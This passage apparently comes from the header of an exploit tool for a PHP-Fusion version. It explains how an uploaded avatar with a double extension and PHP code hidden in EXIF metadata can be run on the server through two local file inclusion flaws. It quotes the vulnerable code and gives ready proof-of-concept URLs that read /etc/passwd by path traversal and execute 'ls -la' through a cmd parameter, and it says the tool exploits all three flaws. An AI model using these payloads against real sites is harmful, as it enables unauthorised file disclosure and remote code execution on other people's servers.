unlink(IMAGES."avatars/".$avatarname);
                                                $set_avatar = "";
                                        }

                                        $set_avatar = "";
                                }

                }
        }
   ...

   A remote user can upload a malicious avatar with multiple extensions,
   (ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata
   content.
   It seems that Apache mod_mime module considers double-extension files like
   file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary
   code that has been uploaded. Actually I can't say which Apache versions, this
   was tested against Apache/1.3.27 with PHP/4.3.3

   A note: file is renamed like this
   .php.php[user_id].gif-fakechars-

   ii) vulnerable code in 
infusions/last_seen_users_panel/last_seen_users_panel.php
       at lines 12-16:

   ...
   if 
(file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php"))
 {
        include 
INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";
} else {
        include INFUSIONS."last_seen_users_panel/locale/English.php";
}
   ...

    $settings['locale'] var is not properly sanitized before to be used to
    include files so, if register_globals=on & magic_quotes_gpc=Off,
    you can include local resources, poc:

    
http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=../../../../../../../../../etc/passw%00
    
http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[1].jpg%00

    A note: if INFUSIONS constant is not defined, PHP will assume it as it is,
    as "INFUSIONS" string. On some system , no matters if 
"INFUSIONSlast_seen_users_panel/locale/........"
    path does not exist, you will go up from the non-existent dir of exactly 
four
    dirs to include the malicious avatar.
    This works against on 6.00.306

    iii) vulnerable code in setup.php at lines 14-15:

    ...
    $localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");
    include "locale/".$localeset."/setup.php";
    ...

    if this script is not deleted after installation, if magic_quotes_gpc=Off,
    you can include files from locale resources, poc:

    
http://[target]/[path]/setup.php?localeset=../../../../../../../../../../etc/passwd%00
    
http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatars/suntzu[1].jpg%00

    this tool tries to exploit all theese vulnerabilities, you need a valid user
    account to upload avatars
